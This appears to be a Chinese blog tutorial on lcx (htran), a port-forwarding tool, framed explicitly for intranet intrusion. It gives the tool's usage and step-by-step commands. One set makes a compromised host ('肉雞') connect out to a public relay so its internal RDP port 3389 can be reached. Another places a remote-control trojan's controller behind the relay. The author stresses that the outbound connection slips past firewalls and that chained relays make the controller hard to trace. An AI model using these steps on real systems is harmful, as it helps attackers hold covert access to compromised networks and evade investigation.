lcx是一款強大的內網端口轉發工具,用於將內網主機開放的內部端口映射到外網主機(有公網IP)任意端口。它是一款命令行工具,當然也可以在有權限的webshell下執行,正因如此lcx常被認為是一款黑客入侵工具,lcx在內網入侵滲透中起着重要的角色。lcx進行端口轉發的原理就是使不同端口之間形成一個回路(如圖1)。它常用於外網連接內網3389端口。
這個工具很早就已經有了,它的全名叫Socket data transport tool,簡寫做trtool,由紅盟聯盟的前輩bkbll所寫,功能和lion寫的htran 1.1版一樣,不過是在linux下使用的而已。所謂的lcx.exe其實是lcx根據lion的代碼所修改編譯過的htran。現在已經有跨平台的了,支持在windows、linux下使用。還有一些根據lcx源碼開發的其他版本,比如jsp版,http隧道版等等。
下面說一下它的使用以及功能說明:
Usage of Packet Transmit: ./lcx -<listen|tran|slave> <option> [<-log|-hex|-text> file] ./lcx -about [options:] -listen <local port1> <local port2> -tran <local port> <remote host> <remote port> -slave <remote host1> <remote port1> <remote host2> <remote port2> -hex : hex mode data dump -text : text mode data dump -log : save transfer log
最常用功能:連接內網的3389
1. B主機(公網IP:20.30.40.50): lcx -listen 2222 6666
2222為轉發端口,6666為B主機任意未被占用的端口
2. A肉雞服務器:lcx.exe -slave 20.30.40.50 2222 127.0.0.1 3389
20.30.40.50為B主機的IP,2222為轉發端口,127.0.0.1為A肉雞內網IP,3389為遠程終端端口
3. B主機連接A肉雞3389時格式:mstsc 127.0.0.1:6666
當然,其他主機(C主機,可以在內網中)連接A肉雞服務器:mstsc 20.30.40.50:6666
至此,就可以通過lcx端口映射就可以直接連接內網服務器了。整個連接流程圖大致如下:

上面的情況中多數是通過跳板主機B來連接肉雞服務器的,也就是主機C通過連接處於公網中的服務器B來連接內網服務器A。上面的連接中,先是肉雞服務器主動發起向外(主機B)的連接,所以這種情況,防火牆一般是不會攔截的。而且由於跳板機(主機B)只是監聽本地端口,而控制者(主機C)可以在任意網絡環境中,所以很難追蹤到控制者的具體位置。如果再加上幾個跳板就很難被查水表啦:)
逆向思維:端口轉發實現遠程控制
基於lcx強大的端口轉發功能,可以通過端口轉發實現將遠程控制的服務端放置的任意網絡環境中。

1. 配置客戶端上線地址:21.23.10.8 端口:8083
2. 公網主機運行lcx:lcx -listen 123 8083
3. 控制端運行:lcx.exe -slave 21.23.10.8 123 127.0.0.1 789 通知設置遠控控制端的監聽端口:789
可以看到,這用使用方式和上面的完全相反。控制端使用lcx主動連接公網中的轉發主機,由於肉雞上的客戶端默認是配置主動連接的,所以只要轉發通道是通暢的,客戶端發起的連接都會由轉發主機轉發到控制端的機子上,而無論控制端是否有公網IP。所以說,關鍵的瓶頸就可以這用解決。又由於lcx已經支持跨平台,所以即使公網主機是Linux系統也可以實現只能在windows上跑的絕大多數遠控軟件。
關於lcx的使用就簡單介紹到這里,之后將會對lcx源碼做一個簡單的分析,博客將持續更新。。。
